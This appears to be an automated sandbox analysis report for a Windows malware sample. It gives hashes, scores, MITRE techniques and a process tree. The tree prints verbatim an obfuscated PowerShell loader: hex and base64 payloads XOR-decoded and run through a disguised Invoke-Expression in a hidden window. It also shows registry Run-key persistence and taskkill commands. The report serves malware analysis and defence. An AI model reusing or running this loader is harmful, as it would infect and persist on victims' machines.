dc903c80cc61ee31c2385e0274c942be2211ba8464188b1d2651c53c4f7cde98

Analysis

max time kernel
148s
max time network
105s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 11:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dc903c80cc61ee31c2385e0274c942be2211ba8464188b1d2651c53c4f7cde98.exe
Size 98KB
Sample260910-m7m9masbpe
SHA256 dc903c80cc61ee31c2385e0274c942be2211ba8464188b1d2651c53c4f7cde98
MD5 7f3b36ed547601582b039405dc93dbea
SHA1 96e8ed4a899739d239987d8b5ad881a398234c26
SHA512 8e2074a0638d2e206afdb66438274258325243f336874df84f0b1934deb22d98812e55c33d1eadcbe533802fcd041c4e848b753664f797f261af5aae4e9a26d4
SSDEEP 3072:Hrjb7BxtXmEDBxtXmERPn2GwkR7QxdJjybXe9pBzrpPXQw7f:HrjbdXTVXT0fxdJjyDeHJrpPJ
TLSH
T18BA3E1DAE0D56914C4BB93F538E1C0D2AEA3EE1B6C43BF2D394C41101B623F867E5A95
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	5228	powershell.exe
3	5228	powershell.exe
4	5228	powershell.exe
5	5228	powershell.exe
6	4656	powershell.exe
7	4656	powershell.exe
8	4656	powershell.exe
9	4656	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5228	powershell.exe
4656	powershell.exe
2244	powershell.exe
6088	powershell.exe
3196	powershell.exe
5488	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Windows\CurrentVersion\Run\olaAnldfba = "C:\\ProgramData\\bfaSmSn.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Windows\CurrentVersion\Run\keFmklSjad = "C:\\ProgramData\\bfaSmSn.bat"	powershell.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4152	cmd.exe
1144	cmd.exe
3428	cmd.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
2560	taskkill.exe
4496	taskkill.exe
1836	taskkill.exe
3508	taskkill.exe
3168	taskkill.exe
3828	taskkill.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
6088	powershell.exe
6088	powershell.exe
5228	powershell.exe
5228	powershell.exe
3196	powershell.exe
3196	powershell.exe
3196	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe
4656	powershell.exe
4656	powershell.exe
4656	powershell.exe
5228	powershell.exe
5228	powershell.exe
2244	powershell.exe
2244	powershell.exe
2244	powershell.exe
4656	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	6088	powershell.exe
Token: SeDebugPrivilege	5228	powershell.exe
Token: SeDebugPrivilege	3196	powershell.exe
Token: SeDebugPrivilege	2560	taskkill.exe
Token: SeDebugPrivilege	4496	taskkill.exe
Token: SeDebugPrivilege	1836	taskkill.exe
Token: SeDebugPrivilege	5488	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	3508	taskkill.exe
Token: SeDebugPrivilege	3168	taskkill.exe
Token: SeDebugPrivilege	3828	taskkill.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4168 wrote to memory of 4152	4168	dc903c80cc61ee31c2385e0274c942be2211ba8464188b1d2651c53c4f7cde98.exe	90
PID 4152 wrote to memory of 6088	4152	cmd.exe	92
PID 6088 wrote to memory of 5228	6088	powershell.exe	93
PID 5228 wrote to memory of 1224	5228	powershell.exe	95
PID 1224 wrote to memory of 4316	1224	csc.exe	96
PID 5228 wrote to memory of 3196	5228	powershell.exe	99
PID 3196 wrote to memory of 1144	3196	powershell.exe	101
PID 1144 wrote to memory of 2560	1144	cmd.exe	103
PID 1144 wrote to memory of 4496	1144	cmd.exe	106
PID 1144 wrote to memory of 1836	1144	cmd.exe	107
PID 5488 wrote to memory of 4656	5488	powershell.exe	109
PID 4656 wrote to memory of 4056	4656	powershell.exe	111
PID 4056 wrote to memory of 4112	4056	csc.exe	112
PID 4656 wrote to memory of 2244	4656	powershell.exe	113
PID 2244 wrote to memory of 3428	2244	powershell.exe	115
PID 3428 wrote to memory of 3508	3428	cmd.exe	117
PID 3428 wrote to memory of 3168	3428	cmd.exe	118
PID 3428 wrote to memory of 3828	3428	cmd.exe	119

C:\Users\Admin\AppData\Local\Temp\dc903c80cc61ee31c2385e0274c942be2211ba8464188b1d2651c53c4f7cde98.exe
"C:\Users\Admin\AppData\Local\Temp\dc903c80cc61ee31c2385e0274c942be2211ba8464188b1d2651c53c4f7cde98.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4168
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\f3e044a2-0601-4bfc-8a11-b002b7230361.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=70-38;$bNbrOi=''tOoTiggw8'';$sMrLfU=''b890ab9db7a4a2b3b28181eddab0e4b6f9f9e3d4f0c5989eb4aee6bb88ebaaa6b5b9f3d7b086aa9aaaa3aa80a8e4b091b8fbe38ab8e68d91b797adaae586f0a791a0a59e90e586c1a796b19baee38eb2fca880b78a9ef7f79be0b188879fb0a8fbe9c1aa97ac90a4e5e9aebba2c0beda9ce0afa5fdacc1ae83eae4b0d098d3ef968aa2bfb9f0c1b280a08ee3e09eb8f1b18ba18de3fec0d7c99080b1d090a8bfabfbbd809591aaa3b990f3b084a29bb190f7e7c1bb86b08caab9b48de0b191aa9daca1ede0b285aba08aed9ea8bee7ac8cb18793bfa2a9fdbd8aa9aababda880a8e4b1a98df2ffc0d7b6bfd6f5c3eb92a9fdb5bfd4a1bca5fffcb4f0998da4ae8483fcbca2b6bfa0ce81ff9989a7adb592b0f59b9587dc89d7b5a69299f48bc59adcf3a9ae879784ffefac92a995bf9e9adceb8792a8fbac8aa5da89b29f8a908a83b1c0b58d87988597958cca88a296abf2aa9bb1f5e8b5f7cefa9da6b9c588d4f494a2a7b593c2b2bfac9af0f49ab9f9efd4a4ceab879defa787b4a896a69bfd9ba388b3a2d599a0fc95c8998da7ad8797a38bc7aeafa1a9b4f49a85e689bcab9df59f88b5d49188b1b7949afc85ca9bd4adac85a9fa89c5a9dd94a98db99a98c4e684a9868d948be4f38dbd938d939ba1eac4b3aff6b1a883a6bca090979692a8fa9b8bfa9cb5a88a8a94feadc48ed5a9cfa189fc87f7efbfac9ab9bd8889d58fd19795aba794b6c097848296849ab7e8a4bfd4adcda5889f85f7a4bf82acf39ba7bca2babfa193f2a09988a3adb7f5cf88af99edb984d7f0a78cfebdb8c29889f79c848797b8ffaaae9da6afb99a98fef18792a7f59ca0edab8db297bb908ab5f2c39a92eeb0a4f0f0fabbd3ef849aa7e099a4e2bbc5e8aababda899f7b88cab97b7a4a2b3b2f6be919bbbb9e398fcbd8aa197adaa90e7a88bb183c6ed8aa8a9c1aa97ac90a4e5969efdb093a08cb790f7e7d4ac8aa8bca2bea8eba68d91b797adaae5f9f3edd5ecd7eac0c7bbe7b086b197aca3edb9bafa84f6cfeab6e9bca1ecd88b9bb4e082bff8bb86b1de8da8b9f3c5bb878692aaa8a3a9a9f6a2a08aee9facb3f6b188e5daa2fefcfdbf9d8ab090b7ede9bca1efcb8691b6a3b9f4eefb9eb18cbab6bfb8e6ab97abdee7acfeefbc9a8ab290afa2acb9d6bf91a4d6e792e4a0f1bf91a696b8b0b0a09fd483b090a0b9a4b2fcfe8ceddaa2fee1f9f3eac9e19ff6e1e9bca4e3a5edd7eab6e9bca5e3be9596a2a3b9b2ff9984b19b9ef7f791fdbf81848db0a8a0bffea7cde19ff0e4f6f9f3e6d8e19ff4e38ab8e68a9cb59bb0e5e4a1ada5c19ad085b8a1b1dcbf88a0deeea8bc'';$gD9AIXd7=''AT5bNUEJFkNUHD5bORJ1V1YgRG5SblgaFkNYDTJhU1lUXkcOVXNVbxJwW0wJSHRdR1BTVVEwCUVeIRtqAVIZeChgcnUCdEU0dyMMY2t8X0Aub3lfMwkFaE8aS0hXRwRXABcFQ11VPBsbGwtWBXgKPFVUGgNJQCMUSE9hRkMZSHkTemdzUVYEV3tObk5vCBguU39bdVl7XFEZQHRZZBQWUxpEXCEeYAUce0wbTnFfKRhQAg5JQCwTfDE4PyhJQysHQRQaGn0JAT1gMkgFFQtNCjoSXlgSFUQXdH1zRlRfVxAJF3hpR09rdWsKcFILN2Z1QksMTypdW1F4R0MqTn1cVkxYU09YGXtUdltTAGBZeE10Zl5fQUU/TFBPYHtdVXIuZ3ZcM1sPFQtEDTISXlgSFXheVS1ce2lVe2YeF1NuMQV9W2dGcV5VaWxYWQ0kZm5dZHt0WHsqFGhcQn0Ke3U7Dnt7PAEVGwtBCTJlZRwVaBEZFnxAVFt7dhZCbll/KnN2QUo9dXURSGgGGXI+Y3djbFtVYmErTXwIZgEVGwtELBBTZxQaFkBfHH4aJV4DGw8MT34SJV0GD3k5RGJOL3lcUU0JSHRdXAYIZ3YrGTR9ZEhhRlAET30SJV4AGwtATHtOYlQabUZNBldAT19lAhZQBjMaKhwabUZNBkJsckR/YUEFa057bHFIfGk8cCcHJhUSGQJFfn4aJm9Id1pKCDNBDDYSEgYPEjoHIRRtVgJKRCleNnVlZEo3TGpIWGtRVXIXUn10e09afVhdGFNuWFR9ZhZUaFl7MF16SlI3ZnJKWw5eCkM1WWgdKBwJEgYPEjoHIRhQAQw+VHhJdU5bXEVFETYaJV4BHG4IT31OaRwfEhNfCBcwJV0BAwJQATJlZRwVYkVQHD0TIQc/OAYPFScSXlgSFXsDezVcVn5dVHVYSFNvZVsVGwJGATJlZRwVa08dUHx7PAEVGxlgKzoaIRxbEgo2YnVUd1lARn9XG1xIblFwU1EIFy5pdU5bXEVFBVdbdV9aV1E2EEcTKBwWUBZNCUVeIRtUalIFR1JNPBsbEmJFBXgJLRwWUxFcDToSXlgSFUA6TW9iRnZRa3NQHD0TLRwabUZNBkJtcVNmXFoEBjMWIRRtVgJKcW0HPBsbEg5NCUVeIRtWSEFYBjMTDDYSEgJNZn9OLGxAXUEIUmlGclNARgIucU8aLFhXQUERUn9WZF9GEg8LSGhJdRwHTkQZAVRbbFkecXI4AWc3CzE4EgJNAToaIRwSEg=='';$qZvL1H=0xA1EB-0xC504;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0xAA)};$xbOhQY=$xkPzeuVmA;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0x55)};$eplMxA=$xkPzeuVmA;$xkPzeuVmAoldR='''';$i=0;for($j=0;$j-lt$sMrLfU.Length;$j+=2){$xkPzeuVmAoldR+=[char](([Convert]::ToInt32($sMrLfU.Substring($j,2),16))-bxor$xbOhQY[$i++%$xbOhQY.Length])};$l4nGIvq=$xkPzeuVmAoldR;$xkPzeuVmAoldB=[Convert]::FromBase64String([regex]::Replace($gD9AIXd7, ''$xkPzeuVmA'', ''''));$xkPzeuVmAoldR='''';$i=0;for($j=0;$j-lt$xkPzeuVmAoldB.Length;$j++){$xkPzeuVmAoldR+=[char]($xkPzeuVmAoldB[$j]-bxor$eplMxA[$i++%$eplMxA.Length])};$rIZqHYJv=$xkPzeuVmAoldR;$f1H0On=$l4nGIvq+$rIZqHYJv;.($env:ComSpec[4,26,25]-join'''') $f1H0On\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\f3e044a2-0601-4bfc-8a11-b002b7230361.bat' -Destination 'C:\ProgramData\bfaSmSn.bat' -Force -ErrorAction SilentlyContinue
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=70-38;$bNbrOi='tOoTiggw8';$sMrLfU='b890ab9db7a4a2b3b28181eddab0e4b6f9f9e3d4f0c5989eb4aee6bb88ebaaa6b5b9f3d7b086aa9aaaa3aa80a8e4b091b8fbe38ab8e68d91b797adaae586f0a791a0a59e90e586c1a796b19baee38eb2fca880b78a9ef7f79be0b188879fb0a8fbe9c1aa97ac90a4e5e9aebba2c0beda9ce0afa5fdacc1ae83eae4b0d098d3ef968aa2bfb9f0c1b280a08ee3e09eb8f1b18ba18de3fec0d7c99080b1d090a8bfabfbbd809591aaa3b990f3b084a29bb190f7e7c1bb86b08caab9b48de0b191aa9daca1ede0b285aba08aed9ea8bee7ac8cb18793bfa2a9fdbd8aa9aababda880a8e4b1a98df2ffc0d7b6bfd6f5c3eb92a9fdb5bfd4a1bca5fffcb4f0998da4ae8483fcbca2b6bfa0ce81ff9989a7adb592b0f59b9587dc89d7b5a69299f48bc59adcf3a9ae879784ffefac92a995bf9e9adceb8792a8fbac8aa5da89b29f8a908a83b1c0b58d87988597958cca88a296abf2aa9bb1f5e8b5f7cefa9da6b9c588d4f494a2a7b593c2b2bfac9af0f49ab9f9efd4a4ceab879defa787b4a896a69bfd9ba388b3a2d599a0fc95c8998da7ad8797a38bc7aeafa1a9b4f49a85e689bcab9df59f88b5d49188b1b7949afc85ca9bd4adac85a9fa89c5a9dd94a98db99a98c4e684a9868d948be4f38dbd938d939ba1eac4b3aff6b1a883a6bca090979692a8fa9b8bfa9cb5a88a8a94feadc48ed5a9cfa189fc87f7efbfac9ab9bd8889d58fd19795aba794b6c097848296849ab7e8a4bfd4adcda5889f85f7a4bf82acf39ba7bca2babfa193f2a09988a3adb7f5cf88af99edb984d7f0a78cfebdb8c29889f79c848797b8ffaaae9da6afb99a98fef18792a7f59ca0edab8db297bb908ab5f2c39a92eeb0a4f0f0fabbd3ef849aa7e099a4e2bbc5e8aababda899f7b88cab97b7a4a2b3b2f6be919bbbb9e398fcbd8aa197adaa90e7a88bb183c6ed8aa8a9c1aa97ac90a4e5969efdb093a08cb790f7e7d4ac8aa8bca2bea8eba68d91b797adaae5f9f3edd5ecd7eac0c7bbe7b086b197aca3edb9bafa84f6cfeab6e9bca1ecd88b9bb4e082bff8bb86b1de8da8b9f3c5bb878692aaa8a3a9a9f6a2a08aee9facb3f6b188e5daa2fefcfdbf9d8ab090b7ede9bca1efcb8691b6a3b9f4eefb9eb18cbab6bfb8e6ab97abdee7acfeefbc9a8ab290afa2acb9d6bf91a4d6e792e4a0f1bf91a696b8b0b0a09fd483b090a0b9a4b2fcfe8ceddaa2fee1f9f3eac9e19ff6e1e9bca4e3a5edd7eab6e9bca5e3be9596a2a3b9b2ff9984b19b9ef7f791fdbf81848db0a8a0bffea7cde19ff0e4f6f9f3e6d8e19ff4e38ab8e68a9cb59bb0e5e4a1ada5c19ad085b8a1b1dcbf88a0deeea8bc';$gD9AIXd7='AT5bNUEJFkNUHD5bORJ1V1YgRG5SblgaFkNYDTJhU1lUXkcOVXNVbxJwW0wJSHRdR1BTVVEwCUVeIRtqAVIZeChgcnUCdEU0dyMMY2t8X0Aub3lfMwkFaE8aS0hXRwRXABcFQ11VPBsbGwtWBXgKPFVUGgNJQCMUSE9hRkMZSHkTemdzUVYEV3tObk5vCBguU39bdVl7XFEZQHRZZBQWUxpEXCEeYAUce0wbTnFfKRhQAg5JQCwTfDE4PyhJQysHQRQaGn0JAT1gMkgFFQtNCjoSXlgSFUQXdH1zRlRfVxAJF3hpR09rdWsKcFILN2Z1QksMTypdW1F4R0MqTn1cVkxYU09YGXtUdltTAGBZeE10Zl5fQUU/TFBPYHtdVXIuZ3ZcM1sPFQtEDTISXlgSFXheVS1ce2lVe2YeF1NuMQV9W2dGcV5VaWxYWQ0kZm5dZHt0WHsqFGhcQn0Ke3U7Dnt7PAEVGwtBCTJlZRwVaBEZFnxAVFt7dhZCbll/KnN2QUo9dXURSGgGGXI+Y3djbFtVYmErTXwIZgEVGwtELBBTZxQaFkBfHH4aJV4DGw8MT34SJV0GD3k5RGJOL3lcUU0JSHRdXAYIZ3YrGTR9ZEhhRlAET30SJV4AGwtATHtOYlQabUZNBldAT19lAhZQBjMaKhwabUZNBkJsckR/YUEFa057bHFIfGk8cCcHJhUSGQJFfn4aJm9Id1pKCDNBDDYSEgYPEjoHIRRtVgJKRCleNnVlZEo3TGpIWGtRVXIXUn10e09afVhdGFNuWFR9ZhZUaFl7MF16SlI3ZnJKWw5eCkM1WWgdKBwJEgYPEjoHIRhQAQw+VHhJdU5bXEVFETYaJV4BHG4IT31OaRwfEhNfCBcwJV0BAwJQATJlZRwVYkVQHD0TIQc/OAYPFScSXlgSFXsDezVcVn5dVHVYSFNvZVsVGwJGATJlZRwVa08dUHx7PAEVGxlgKzoaIRxbEgo2YnVUd1lARn9XG1xIblFwU1EIFy5pdU5bXEVFBVdbdV9aV1E2EEcTKBwWUBZNCUVeIRtUalIFR1JNPBsbEmJFBXgJLRwWUxFcDToSXlgSFUA6TW9iRnZRa3NQHD0TLRwabUZNBkJtcVNmXFoEBjMWIRRtVgJKcW0HPBsbEg5NCUVeIRtWSEFYBjMTDDYSEgJNZn9OLGxAXUEIUmlGclNARgIucU8aLFhXQUERUn9WZF9GEg8LSGhJdRwHTkQZAVRbbFkecXI4AWc3CzE4EgJNAToaIRwSEg==';$qZvL1H=0xA1EB-0xC504;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0xAA)};$xbOhQY=$xkPzeuVmA;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0x55)};$eplMxA=$xkPzeuVmA;$xkPzeuVmAoldR='';$i=0;for($j=0;$j-lt$sMrLfU.Length;$j+=2){$xkPzeuVmAoldR+=[char](([Convert]::ToInt32($sMrLfU.Substring($j,2),16))-bxor$xbOhQY[$i++%$xbOhQY.Length])};$l4nGIvq=$xkPzeuVmAoldR;$xkPzeuVmAoldB=[Convert]::FromBase64String([regex]::Replace($gD9AIXd7, '$xkPzeuVmA', ''));$xkPzeuVmAoldR='';$i=0;for($j=0;$j-lt$xkPzeuVmAoldB.Length;$j++){$xkPzeuVmAoldR+=[char]($xkPzeuVmAoldB[$j]-bxor$eplMxA[$i++%$eplMxA.Length])};$rIZqHYJv=$xkPzeuVmAoldR;$f1H0On=$l4nGIvq+$rIZqHYJv;.($env:ComSpec[4,26,25]-join'') $f1H0On"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5228
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pv2gxsqb\pv2gxsqb.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1224
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAB0B.tmp" "c:\Users\Admin\AppData\Local\Temp\pv2gxsqb\CSC72FD6798323243F5A3C1987DCA922E38.TMP"
        6⤵
        
        PID:4316
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3196
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1144
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2560
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4496
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=70-38;$bNbrOi=''tOoTiggw8'';$sMrLfU=''b890ab9db7a4a2b3b28181eddab0e4b6f9f9e3d4f0c5989eb4aee6bb88ebaaa6b5b9f3d7b086aa9aaaa3aa80a8e4b091b8fbe38ab8e68d91b797adaae586f0a791a0a59e90e586c1a796b19baee38eb2fca880b78a9ef7f79be0b188879fb0a8fbe9c1aa97ac90a4e5e9aebba2c0beda9ce0afa5fdacc1ae83eae4b0d098d3ef968aa2bfb9f0c1b280a08ee3e09eb8f1b18ba18de3fec0d7c99080b1d090a8bfabfbbd809591aaa3b990f3b084a29bb190f7e7c1bb86b08caab9b48de0b191aa9daca1ede0b285aba08aed9ea8bee7ac8cb18793bfa2a9fdbd8aa9aababda880a8e4b1a98df2ffc0d7b6bfd6f5c3eb92a9fdb5bfd4a1bca5fffcb4f0998da4ae8483fcbca2b6bfa0ce81ff9989a7adb592b0f59b9587dc89d7b5a69299f48bc59adcf3a9ae879784ffefac92a995bf9e9adceb8792a8fbac8aa5da89b29f8a908a83b1c0b58d87988597958cca88a296abf2aa9bb1f5e8b5f7cefa9da6b9c588d4f494a2a7b593c2b2bfac9af0f49ab9f9efd4a4ceab879defa787b4a896a69bfd9ba388b3a2d599a0fc95c8998da7ad8797a38bc7aeafa1a9b4f49a85e689bcab9df59f88b5d49188b1b7949afc85ca9bd4adac85a9fa89c5a9dd94a98db99a98c4e684a9868d948be4f38dbd938d939ba1eac4b3aff6b1a883a6bca090979692a8fa9b8bfa9cb5a88a8a94feadc48ed5a9cfa189fc87f7efbfac9ab9bd8889d58fd19795aba794b6c097848296849ab7e8a4bfd4adcda5889f85f7a4bf82acf39ba7bca2babfa193f2a09988a3adb7f5cf88af99edb984d7f0a78cfebdb8c29889f79c848797b8ffaaae9da6afb99a98fef18792a7f59ca0edab8db297bb908ab5f2c39a92eeb0a4f0f0fabbd3ef849aa7e099a4e2bbc5e8aababda899f7b88cab97b7a4a2b3b2f6be919bbbb9e398fcbd8aa197adaa90e7a88bb183c6ed8aa8a9c1aa97ac90a4e5969efdb093a08cb790f7e7d4ac8aa8bca2bea8eba68d91b797adaae5f9f3edd5ecd7eac0c7bbe7b086b197aca3edb9bafa84f6cfeab6e9bca1ecd88b9bb4e082bff8bb86b1de8da8b9f3c5bb878692aaa8a3a9a9f6a2a08aee9facb3f6b188e5daa2fefcfdbf9d8ab090b7ede9bca1efcb8691b6a3b9f4eefb9eb18cbab6bfb8e6ab97abdee7acfeefbc9a8ab290afa2acb9d6bf91a4d6e792e4a0f1bf91a696b8b0b0a09fd483b090a0b9a4b2fcfe8ceddaa2fee1f9f3eac9e19ff6e1e9bca4e3a5edd7eab6e9bca5e3be9596a2a3b9b2ff9984b19b9ef7f791fdbf81848db0a8a0bffea7cde19ff0e4f6f9f3e6d8e19ff4e38ab8e68a9cb59bb0e5e4a1ada5c19ad085b8a1b1dcbf88a0deeea8bc'';$gD9AIXd7=''AT5bNUEJFkNUHD5bORJ1V1YgRG5SblgaFkNYDTJhU1lUXkcOVXNVbxJwW0wJSHRdR1BTVVEwCUVeIRtqAVIZeChgcnUCdEU0dyMMY2t8X0Aub3lfMwkFaE8aS0hXRwRXABcFQ11VPBsbGwtWBXgKPFVUGgNJQCMUSE9hRkMZSHkTemdzUVYEV3tObk5vCBguU39bdVl7XFEZQHRZZBQWUxpEXCEeYAUce0wbTnFfKRhQAg5JQCwTfDE4PyhJQysHQRQaGn0JAT1gMkgFFQtNCjoSXlgSFUQXdH1zRlRfVxAJF3hpR09rdWsKcFILN2Z1QksMTypdW1F4R0MqTn1cVkxYU09YGXtUdltTAGBZeE10Zl5fQUU/TFBPYHtdVXIuZ3ZcM1sPFQtEDTISXlgSFXheVS1ce2lVe2YeF1NuMQV9W2dGcV5VaWxYWQ0kZm5dZHt0WHsqFGhcQn0Ke3U7Dnt7PAEVGwtBCTJlZRwVaBEZFnxAVFt7dhZCbll/KnN2QUo9dXURSGgGGXI+Y3djbFtVYmErTXwIZgEVGwtELBBTZxQaFkBfHH4aJV4DGw8MT34SJV0GD3k5RGJOL3lcUU0JSHRdXAYIZ3YrGTR9ZEhhRlAET30SJV4AGwtATHtOYlQabUZNBldAT19lAhZQBjMaKhwabUZNBkJsckR/YUEFa057bHFIfGk8cCcHJhUSGQJFfn4aJm9Id1pKCDNBDDYSEgYPEjoHIRRtVgJKRCleNnVlZEo3TGpIWGtRVXIXUn10e09afVhdGFNuWFR9ZhZUaFl7MF16SlI3ZnJKWw5eCkM1WWgdKBwJEgYPEjoHIRhQAQw+VHhJdU5bXEVFETYaJV4BHG4IT31OaRwfEhNfCBcwJV0BAwJQATJlZRwVYkVQHD0TIQc/OAYPFScSXlgSFXsDezVcVn5dVHVYSFNvZVsVGwJGATJlZRwVa08dUHx7PAEVGxlgKzoaIRxbEgo2YnVUd1lARn9XG1xIblFwU1EIFy5pdU5bXEVFBVdbdV9aV1E2EEcTKBwWUBZNCUVeIRtUalIFR1JNPBsbEmJFBXgJLRwWUxFcDToSXlgSFUA6TW9iRnZRa3NQHD0TLRwabUZNBkJtcVNmXFoEBjMWIRRtVgJKcW0HPBsbEg5NCUVeIRtWSEFYBjMTDDYSEgJNZn9OLGxAXUEIUmlGclNARgIucU8aLFhXQUERUn9WZF9GEg8LSGhJdRwHTkQZAVRbbFkecXI4AWc3CzE4EgJNAToaIRwSEg=='';$qZvL1H=0xA1EB-0xC504;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0xAA)};$xbOhQY=$xkPzeuVmA;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0x55)};$eplMxA=$xkPzeuVmA;$xkPzeuVmAoldR='''';$i=0;for($j=0;$j-lt$sMrLfU.Length;$j+=2){$xkPzeuVmAoldR+=[char](([Convert]::ToInt32($sMrLfU.Substring($j,2),16))-bxor$xbOhQY[$i++%$xbOhQY.Length])};$l4nGIvq=$xkPzeuVmAoldR;$xkPzeuVmAoldB=[Convert]::FromBase64String([regex]::Replace($gD9AIXd7, ''$xkPzeuVmA'', ''''));$xkPzeuVmAoldR='''';$i=0;for($j=0;$j-lt$xkPzeuVmAoldB.Length;$j++){$xkPzeuVmAoldR+=[char]($xkPzeuVmAoldB[$j]-bxor$eplMxA[$i++%$eplMxA.Length])};$rIZqHYJv=$xkPzeuVmAoldR;$f1H0On=$l4nGIvq+$rIZqHYJv;.($env:ComSpec[4,26,25]-join'''') $f1H0On\"'" ; Copy-Item -Path 'C:\ProgramData\bfaSmSn.bat' -Destination 'C:\ProgramData\bfaSmSn.bat' -Force -ErrorAction SilentlyContinue
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
